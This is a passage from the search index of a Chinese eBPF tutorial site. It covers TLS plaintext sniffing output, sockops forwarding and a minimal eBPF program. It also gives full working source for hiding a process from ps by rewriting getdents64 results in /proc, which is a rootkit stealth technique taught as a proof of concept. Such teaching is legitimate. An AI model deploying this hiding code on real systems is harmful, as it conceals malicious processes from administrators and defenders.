   ----- END DATA ----- 注意 ：显示的 HTML 内容可能会因 example.com 页面的不同而有所不同。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » sslsniff 输出","id":"163","title":"sslsniff 输出"},"164":{"body":"要查看延迟和握手过程，请执行以下命令： $ sudo ./sslsniff -l --handshake\nOpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3\nGnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30\nNSS path: /lib/x86_64-linux-gnu/libnspr4.so\nFUNC TIME(s) COMM PID LEN LAT(ms)\nHANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 显示延迟和握手过程","id":"164","title":"显示延迟和握手过程"},"165":{"body":"要以16进制格式显示数据，请执行以下命令： $ sudo ./sslsniff --hexdump\nWRITE/SEND 0.000000000 curl 16104 24 ----- DATA -----\n505249202a20485454502f322e300d0a\n0d0a534d0d0a0d0a\n----- END DATA ----- ...","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 16进制输出","id":"165","title":"16进制输出"},"166":{"body":"eBPF 是一个非常强大的技术，它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例，展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣，并希望进一步了解和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。 参考资料： https://github.com/iovisor/bcc/pull/4706 https://github.com/openssl/openssl https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt https://en.wikipedia.org/wiki/Transport_Layer_Security","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 总结","id":"166","title":"总结"},"167":{"body":"","breadcrumbs":"使用 sockops 加速网络请求转发 » eBPF sockops 示例","id":"167","title":"eBPF sockops 示例"},"168":{"body":"网络连接本质上是 socket 之间的通讯，eBPF 提供了一个 bpf_msg_redirect_hash 函数，用来将应用发出的包直接转发到对端的 socket，可以极大地加速包在内核中的处理流程。 这里 sock_map 是记录 socket 规则的关键部分，即根据当前的数据包信息，从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方，将 socket 信息保存到 sock_map，并提供一个规则 (一般为四元组) 根据 key 查找到 socket。 Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后，出入口流量会直接跳过很多内核模块，明显提高性能，如下图所示： merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 利用 eBPF 的 sockops 进行性能优化","id":"168","title":"利用 eBPF 的 sockops 进行性能优化"},"169":{"body":"此示例程序从发送者的套接字（出口）重定向流量至接收者的套接字（入口）， 跳过 TCP/IP 内核网络栈 。在这个示例中，我们假定发送者和接收者都在 同一台 机器上运行。","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行样例","id":"169","title":"运行样例"},"17":{"body":"我们会先从一个简单的 eBPF 程序开始，它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件，然后使用 ecli 工具加载并运行该程序。作为示例，我们可以暂时省略用户态程序的部分。 /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#define BPF_NO_GLOBAL_DATA\n#include \n#include \n#include  typedef unsigned int u32;\ntypedef int pid_t;\nconst pid_t pid_filter = 0; char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"tp/syscalls/sys_enter_write\")\nint handle_tp(void *ctx)\n{ pid_t pid = bpf_get_current_pid_tgid() >> 32; if (pid_filter && pid != pid_filter) return 0; bpf_printk(\"BPF triggered sys_enter_write from PID %d.\\n\", pid); return 0;\n} 这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint（即在进入 write 系统调用时执行）。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID，并在内核日志中打印出来。 bpf_trace_printk()： 一种将信息输出到trace_pipe(/sys/kernel/debug/tracing/trace_pipe)简单机制。 在一些简单用例中这样使用没有问题， but它也有一些限制：最多3 参数； 第一个参数必须是%s(即字符串)；同时trace_pipe在内核中全局共享，其他并行使用trace_pipe的程序有可能会将 trace_pipe 的输出扰乱。 一个更好的方式是通过 BPF_PERF_OUTPUT(), 稍后将会讲到。 void *ctx：ctx本来是具体类型的参数， 但是由于我们这里没有使用这个参数，因此就将其写成void *类型。 return 0;：必须这样，返回0 (如果要知道why, 参考 #139 https://github.com/iovisor/bcc/issues/139 )。 要编译和运行这段程序，可以使用 ecc 工具和 ecli 命令。首先在 Ubuntu/Debian 上，执行以下命令： sudo apt install clang llvm 使用 ecc 编译程序： $ ./ecc minimal.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 或使用 docker 镜像进行编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 然后使用 ecli 运行编译后的程序： $ sudo ./ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep \"BPF triggered sys_enter_write\" <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. 按 Ctrl+C 停止 ecli 进程之后，可以看到对应的输出也停止。 注意：如果正在使用的 Linux 发行版（例如 Ubuntu ）默认情况下没有启用跟踪子系统可能看不到任何输出，使用以下指令打开这个功能： $ sudo su\n# echo 1 > /sys/kernel/debug/tracing/tracing_on","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » Hello World - minimal eBPF program","id":"17","title":"Hello World - minimal eBPF program"},"170":{"body":"# Compile the bpf_sockops program\nclang -O2 -g -Wall -target bpf -c bpf_sockops.c -o bpf_sockops.o\nclang -O2 -g -Wall -target bpf -c bpf_redir.c -o bpf_redir.o","breadcrumbs":"使用 sockops 加速网络请求转发 » 编译 eBPF 程序","id":"170","title":"编译 eBPF 程序"},"171":{"body":"sudo ./load.sh 您可以使用 bpftool utility 检查这两个 eBPF 程序是否已经加载。 $ sudo bpftool prog show\n63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 1232B jited 750B memlock 4096B map_ids 58\n64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 304B jited 233B memlock 4096B map_ids 58","breadcrumbs":"使用 sockops 加速网络请求转发 » 加载 eBPF 程序","id":"171","title":"加载 eBPF 程序"},"172":{"body":"iperf3 -s -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 服务器","id":"172","title":"运行 iperf3 服务器"},"173":{"body":"iperf3 -c 127.0.0.1 -t 10 -l 64k -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 客户端","id":"173","title":"运行 iperf3 客户端"},"174":{"body":"$ ./trace.sh\niperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135\niperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583\niperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135\niperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095 你应该可以看到 4 个用于套接字建立的事件。如果你没有看到任何事件，那么 eBPF 程序可能没有正确地附加上。","breadcrumbs":"使用 sockops 加速网络请求转发 » 收集追踪","id":"174","title":"收集追踪"},"175":{"body":"sudo ./unload.sh","breadcrumbs":"使用 sockops 加速网络请求转发 » 卸载 eBPF 程序","id":"175","title":"卸载 eBPF 程序"},"176":{"body":"https://github.com/zachidan/ebpf-sockops https://github.com/merbridge/merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 参考资料","id":"176","title":"参考资料"},"177":{"body":"eBPF（扩展的伯克利数据包过滤器）是 Linux 内核中的一个强大功能，可以在无需更改内核源代码或重启内核的情况下，运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 在本篇教程中，我们将展示如何利用 eBPF 来隐藏进程或文件信息，这是网络安全和防御领域中一种常见的技术。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » eBPF 开发实践：使用 eBPF 隐藏进程或文件信息","id":"177","title":"eBPF 开发实践：使用 eBPF 隐藏进程或文件信息"},"178":{"body":"\"进程隐藏\" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中，这种技术都可能被应用。具体来说，Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹，包含了该进程的各种信息。ps 命令就是通过查找这些文件夹来显示进程信息的。因此，如果我们能隐藏某个进程的 /proc/ 文件夹，就能让这个进程对 ps 命令等检测手段“隐身”。 要实现进程隐藏，关键在于操作 /proc/ 目录。在 Linux 中，getdents64 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用，修改它返回的结果，从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能，它可以修改用户空间的内存，因此能用来修改 getdents64 返回的结果。 下面，我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 背景知识与实现机制","id":"178","title":"背景知识与实现机制"},"179":{"body":"接下来，我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分： // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Map to fold the dents buffer addresses\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_buffs SEC(\".maps\"); // Map used to enable searching through the\n// data in a loop\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, int);\n} map_bytes_read SEC(\".maps\"); // Map with address of actual\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_to_patch SEC(\".maps\"); // Map to hold program tail calls\nstruct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 5); __type(key, __u32); __type(value, __u32);\n} map_prog_array SEC(\".maps\"); 我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件，如 \"vmlinux.h\"、\"bpf_helpers.h\"、\"bpf_tracing.h\" 和 \"bpf_core_read.h\"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。 \"vmlinux.h\" 是一个包含了完整的内核数据结构的头文件，是从 vmlinux 内核二进制中提取的。使用这个头文件，eBPF 程序可以访问内核的数据结构。 \"bpf_helpers.h\" 头文件中定义了一系列的宏，这些宏是 eBPF 程序使用的 BPF 助手（helper）函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 \"bpf_tracing.h\" 是用于跟踪事件的头文件，它包含了许多宏和函数，这些都是为了简化 eBPF 程序对跟踪点（tracepoint）的操作。 \"bpf_core_read.h\" 头文件提供了一组用于从内核读取数据的宏和函数。 程序中定义了一系列的 map 结构，这些 map 是 eBPF 程序中的主要数据结构，它们用于在内核态和用户态之间共享数据，或者在 eBPF 程序中存储和传递数据。 其中，\"rb\" 是一个 Ringbuffer 类型的 map，它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。 \"map_buffs\" 是一个 Hash 类型的 map，它用于存储目录项（dentry）的缓冲区地址。 \"map_bytes_read\" 是另一个 Hash 类型的 map，它用于在数据循环中启用搜索。 \"map_to_patch\" 是另一个 Hash 类型的 map，存储了需要被修改的目录项（dentry）的地址。 \"map_prog_array\" 是一个 Prog Array 类型的 map，它用于保存程序的尾部调用。 程序中的 \"target_ppid\" 和 \"pid_to_hide_len\"、\"pid_to_hide\" 是几个重要的全局变量，它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。 接下来的代码部分，程序定义了一个名为 \"linux_dirent64\" 的结构体，这个结构体代表一个 Linux 目录项。然后程序定义了两个函数，\"handle_getdents_enter\" 和 \"handle_getdents_exit\"，这两个函数分别在 getdents64 系统调用的入口和出口被调用，用于实现对目录项的操作。 // Optional Target Parent PID\nconst volatile int target_ppid = 0; // These store the string represenation\n// of the PID to hide. This becomes the name\n// of the folder in /proc/\nconst volatile int pid_to_hide_len = 0;\nconst volatile char pid_to_hide[max_pid_len]; // struct linux_dirent64 {\n// u64 d_ino; /* 64-bit inode number */\n// u64 d_off; /* 64-bit offset to next structure */\n// unsigned short d_reclen; /* Size of this dirent */\n// unsigned char d_type; /* File type */\n// char d_name[]; /* Filename (null-terminated) */ }; // int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);\nSEC(\"tp/syscalls/sys_enter_getdents64\")\nint handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); // Check if we're a process thread of interest // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } int pid = pid_tgid >> 32; unsigned int fd = ctx->args[0]; unsigned int buff_count = ctx->args[2]; // Store params in map for exit function struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); return 0;\n} 在这部分代码中，我们可以看到 eBPF 程序的一部分具体实现，该程序负责在 getdents64 系统调用的入口处进行处理。 我们首先声明了几个全局的变量。其中 target_ppid 代表我们要关注的目标父进程的 PID。如果这个值为 0，那么我们将关注所有的进程。pid_to_hide_len 和 pid_to_hide 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 /proc/ 目录下的一个文件夹的名称，因此被隐藏的进程在 /proc/ 目录下将无法被看到。 接下来，我们声明了一个名为 linux_dirent64 的结构体。这个结构体代表一个 Linux 目录项，包含了一些元数据，如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。 然后是 getdents64 函数的原型。这个函数是 Linux 系统调用，用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中，对目录项进行修改，以实现进程隐藏。 随后的部分是 eBPF 程序的具体实现。我们在 getdents64 系统调用的入口处定义了一个名为 handle_getdents_enter 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID，然后检查这个进程是否是我们关注的进程。如果我们设置了 target_ppid，那么我们就只关注那些父进程的 PID 为 target_ppid 的进程。如果 target_ppid 为 0，我们就关注所有进程。 在确认了当前进程是我们关注的进程之后，我们将 getdents64 系统调用的参数保存到一个 map 中，以便在系统调用返回时使用。我们特别关注 getdents64 系统调用的第二个参数，它是一个指向 linux_dirent64 结构体的指针，代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 map_buffs 这个 map 中。 至此，我们完成了 getdents64 系统调用入口处的处理。在系统调用返回时，我们将会在 handle_getdents_exit 函数中，对目录项进行修改，以实现进程隐藏。 在接下来的代码段中，我们将要实现在 getdents64 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程，并且对目录项进行修改以实现隐藏。 我们首先定义了一个名为 handle_getdents_exit 的函数，它将在 getdents64 系统调用返回时被调用。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); int total_bytes_read = ctx->ret; // if bytes_read is 0, everything's been read if (total_bytes_read <= 0) { return 0; } // Check we stored the address of the buffer from the syscall entry long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); if (pbuff_addr == 0) { return 0; } // All of this is quite complex, but basically boils down to // Calling 'handle_getdents_exit' in a loop to iterate over the file listing // in chunks of 200, and seeing if a folder with the name of our pid is in there. // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual // patching long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp = 0; int pid = pid_tgid >> 32; short unsigned int d_reclen = 0; char filename[max_pid_len]; unsigned int bpos = 0; unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); if (pBPOS != 0) { bpos = *pBPOS; } for (int i = 0; i < 200; i ++) { if (bpos >= total_bytes_read) { break; } dirp = (struct linux_dirent64 *)(buff_addr+bpos); bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); int j = 0; for (j = 0; j < pid_to_hide_len; j++) { if (filename[j] != pid_to_hide[j]) { break; } } if (j == pid_to_hide_len) { // *********** // We've found the folder!!! // Jump to handle_getdents_patch so we can remove it! // *********** bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); bpf_tail_call(ctx, &map_prog_array, PROG_02); } bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); bpos += d_reclen; } // If we didn't find it, but there's still more to read, // jump back the start of this function and keep looking if (bpos < total_bytes_read) { bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); bpf_tail_call(ctx, &map_prog_array, PROG_01); } bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); return 0;\n} 在这个函数中，我们首先获取了当前进程的 PID 和线程组 ID，然后检查系统调用是否读取到了目录的内容。如果没有读取到内容，我们就直接返回。 然后我们从 map_buffs 这个 map 中获取 getdents64 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址，那么就没有必要进行进一步的处理。 接下来的部分有点复杂，我们用了一个循环来迭代读取目录的内容，并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了，我们就用 bpf_tail_call 函数跳转到 handle_getdents_patch 函数，进行实际的隐藏操作。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)\n{ // Only patch if we've already checked and found our pid's folder to hide size_t pid_tgid = bpf_get_current_pid_tgid(); long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); if (pbuff_addr == 0) { return 0; } // Unlink target, by reading in previous linux_dirent64 struct, // and setting it's d_reclen to cover itself and our target. // This will make the program skip over our folder. long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; short unsigned int d_reclen_previous = 0; bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); short unsigned int d_reclen = 0; bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); // Debug print char filename[max_pid_len]; bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename previous %s\\n\", filename); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename next one %s\\n\", filename); // Attempt to overwrite short unsigned int d_reclen_new = d_reclen_previous + d_reclen; long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); // Send an event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = (pid_tgid >> 32); bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } bpf_map_delete_elem(&map_to_patch, &pid_tgid); return 0;\n} 在 handle_getdents_patch 函数中，我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容，并且修改 d_reclen 字段，让它覆盖下一个目录项，这样就可以隐藏我们的目标进程了。 在这个过程中，我们用到了 bpf_probe_read_user、bpf_probe_read_user_str、bpf_probe_write_user 这几个函数来读取和写入用户空间的数据。这是因为在内核空间，我们不能直接访问用户空间的数据，必须使用这些特殊的函数。 在我们完成隐藏操作后，我们会向一个名为 rb 的环形缓冲区发送一个事件，表示我们已经成功地隐藏了一个进程。我们用 bpf_ringbuf_reserve 函数来预留缓冲区空间，然后将事件的数据填充到这个空间，并最后用 bpf_ringbuf_submit 函数将事件提交到缓冲区。 最后，我们清理了之前保存在 map 中的数据，并返回。 这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子，我们可以看到 eBPF 提供的丰富的功能，如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑，而不需要修改内核代码。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 内核态 eBPF 程序实现","id":"179","title":"内核态 eBPF 程序实现"},"18":{"body":"如上所述， eBPF 程序的基本框架包括： 包含头文件：需要包含  和  等头文件。 定义许可证：需要定义许可证，通常使用 \"Dual BSD/GPL\"。 定义 BPF 函数：需要定义一个 BPF 函数，例如其名称为 handle_tp，其参数为 void *ctx，返回值为 int。通常用 C 语言编写。 使用 BPF 助手函数：在例如 BPF 函数中，可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。 返回值","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 程序的基本框架","id":"18","title":"eBPF 程序的基本框架"},"180":{"body":"我们在用户态的 eBPF 程序中主要进行了以下几个操作： 打开 eBPF 程序。 设置我们想要隐藏的进程的 PID。 验证并加载 eBPF 程序。 等待并处理由 eBPF 程序发送的事件。 首先，我们打开了 eBPF 程序。这个过程是通过调用 pidhide_bpf__open 函数实现的。如果这个过程失败了，我们就直接返回。 skel = pidhide_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open BPF program: %s\\n\", strerror(errno)); return 1; } 接下来，我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 rodata 区域实现的。默认情况下，我们隐藏的是当前进程。 char pid_to_hide[10]; if (env.pid_to_hide == 0) { env.pid_to_hide = getpid(); } sprintf(pid_to_hide, \"%d\", env.pid_to_hide); strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; skel->rodata->target_ppid = env.target_ppid; 然后，我们验证并加载 eBPF 程序。这个过程是通过调用 pidhide_bpf__load 函数实现的。如果这个过程失败了，我们就进行清理操作。 err = pidhide_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } 最后，我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 ring_buffer__poll 函数实现的。在这个过程中，我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有，我们就调用 handle_event 函数来处理这个事件。 printf(\"Successfully started!\\n\");\nprintf(\"Hiding PID %d\\n\", env.pid_to_hide);\nwhile (!exiting)\n{ err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; }\n} handle_event 函数中，我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文，事件的数据，以及数据的大小。我们首先将事件的数据转换为 event 结构体，然后根据 success 字段判断这个事件是否表示成功隐藏了一个进程，最后打 印相应的消息。 static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; if (e->success) printf(\"Hid PID from program %d (%s)\\n\", e->pid, e->comm); else printf(\"Failed to hide PID from program %d (%s)\\n\", e->pid, e->comm); return 0;\n} 这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序，然后设置我们想要隐藏的进程的 PID，再验证并加载 eBPF 程序，最后等待并处理由 eBPF 程序发送的事件。这个过程中，我们使用了 eBPF 提供的一些高级功能，如环形缓冲区和事件处理，这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide 本文所示技术仅为概念验证，仅供学习使用，严禁用于不符合法律法规要求的场景。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 用户态 eBPF 程序实现","id":"180","title":"用户态 eBPF 程序实现"},"181":{"body":"首先，我们需要编译 eBPF 程序： make 然后，假设我们想要隐藏进程 ID 为 1534 的进程，可以运行如下命令： sudo ./pidhide --pid-to-hide 1534 这条命令将使所有尝试读取 /proc/ 目录的操作都无法看到 PID 为 1534 的进程。例如，我们可以选择一个进程进行隐藏： $ ps -aux | grep 1534\nyunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor\nyunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是，如果我们运行 sudo ./pidhide --pid-to-hide 1534，再次运行 ps -aux | grep 1534，就会发现进程 ID 为 1534 的进程已经不见了。 $ sudo ./pidhide --pid-to-hide 1534\nHiding PID 1534\nHid PID from program 31529 (ps)\nHid PID from program 31551 (ps)\nHid PID from program 31560 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31585 (bash)\nHid PID from program 31585 (bash)\nHid PID from program 31609 (bash)\nHid PID from program 31640 (ps)\nHid PID from program 31649 (ps) 这个程序将匹配这个 pid 的进程隐藏，使得像 ps 这样的工具无法看到，我们可以通过 ps aux | grep 1534 来验证。 $ ps -aux | grep 1534\nroot 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534\nroot 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534\nroot 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534\nyunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 编译运行，隐藏 PID","id":"181","title":"编译运行，隐藏 PID"},"182":{"body":"通过本篇 eBPF 入门实践教程，我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序，如何通过 eBPF 拦截系统调用并修改它们的行为，以及如何将这些知识应用到实际的网络安全和防御工作中。此外，我们也了解了 eBPF 的强大性，尤其是它能在不需要修改内核源代码或重启内核的情况下，允许用户在内核中执行自定义代码的能力。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 总结","id":"182","title":"总结"},"183":{"body":"eBPF (扩展的伯克利数据包过滤器) 是 Linux 内核的一种革命性技术，允许用户在内核空间执行自定义程序，而不需要修改内核源代码或加载任何内核模块。这使得开发人员可以非常灵活地对 Linux 系统进行观测、修改和控制。 本文介绍了如何使用 eBPF 的 bpf_send_signal 功能，向指定的进程发送信号进行干预。更多的教程文档，请参考 https://github.com/eunomia-bpf/bpf-developer-tutorial","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » eBPF 入门实践教程：用 bpf_send_signal 发送信号终止恶意进程","id":"183","title":"eBPF 入门实践教程：用 bpf_send_signal 发送信号终止恶意进程"},"184":{"body":"1. 性能分析: 在现代软件生态系统中，优化应用程序的性能是开发人员和系统管理员的一个核心任务。当应用程序，如 hhvm，出现运行缓慢或资源利用率异常高时，它可能会对整个系统产生不利影响。因此，定位这些性能瓶颈并及时解决是至关重要的。 2. 异常检测与响应: 任何运行在生产环境中的系统都可能面临各种异常情况，从简单的资源泄露到复杂的恶意软件攻击。在这些情况下，系统需要能够迅速、准确地检测到这些异常，并采取适当的应对措施。 3. 动态系统管理: 随着云计算和微服务架构的普及，能够根据当前系统状态动态调整资源配置和应用行为已经成为了一个关键需求。例如，根据流量波动自动扩容或缩容，或者在检测到系统过热时降低 CPU 频率。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 使用场景","id":"184","title":"使用场景"},"185":{"body":"为了满足上述使用场景的需求，传统的技术方法如下： 安装一个 bpf 程序，该程序会持续监视系统，同时对一个 map 进行轮询。 当某个事件触发了 bpf 程序中定义的特定条件时，它会将相关数据写入此 map。 接着，外部分析工具会从该 map 中读取数据，并根据读取到的信息向目标进程发送信号。 尽管这种方法在很多场景中都是可行的，但它存在一个主要的缺陷：从事件发生到外部工具响应的时间延迟可能相对较大。这种延迟可能会影响到事件的响应速度，从而使得性能分析的结果不准确或者在面对恶意活动时无法及时作出反应。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 现有方案的不足","id":"185","title":"现有方案的不足"},"186":{"body":"为了克服传统方法的这些限制，Linux 内核提供了 bpf_send_signal 和 bpf_send_signal_thread 这两个 helper 函数。 这两个函数带来的主要优势包括： 1. 